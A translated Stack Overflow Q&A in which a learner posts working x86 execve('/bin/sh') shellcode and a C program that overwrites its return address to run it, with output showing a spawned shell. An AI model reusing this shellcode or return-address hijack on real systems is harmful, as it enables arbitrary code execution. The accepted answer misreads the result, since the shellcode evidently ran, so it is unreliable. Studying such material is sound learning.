c - 缓冲区溢出,不是预期的结果

标签 c buffer-overflow

您好,我正在了解缓冲区溢出。为了更好地理解,我写了一小段代码来检查发生了什么,但我没有发现任何错误。

char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main()
{
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}

和输出:

[krishna]$ gcc -o testsc testsc.c
[krishna]$ ./testsc
$ exit
[krishna]$

为什么是exit?当我的程序执行时,我可以通过任何其他方式检查内部发生的情况。

如果我的方法不够好,我还能尝试什么?

最佳答案

分配指针与复制缓冲区不同。你的意思可能是:

memcpy(ret, shellcode, sizeof(shellcode));

但这也不是缓冲区溢出。在这种情况下,您将尝试写入程序的只读代码页,因此您将获得某种类型的信号或系统异常。

关于c - 缓冲区溢出,不是预期的结果,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18223815/

相关文章:

c - 修复 UART 溢出

c - 缓冲区溢出实现

c - 如何使用 C 中的动态内存分配将结构写入文件

c - 我不明白如何设置 PWM 信号的周期

c - Linux : Buffer overflow of simple C program is giving SIGBUS

c - 使用动态内存分配在函数返回时中止陷阱 6

c - 如何使用C读取文件夹中的所有文件

c - 使用 fgets() 从 CSV 文件打印行

c - OpenSSL 是否提供大十进制支持?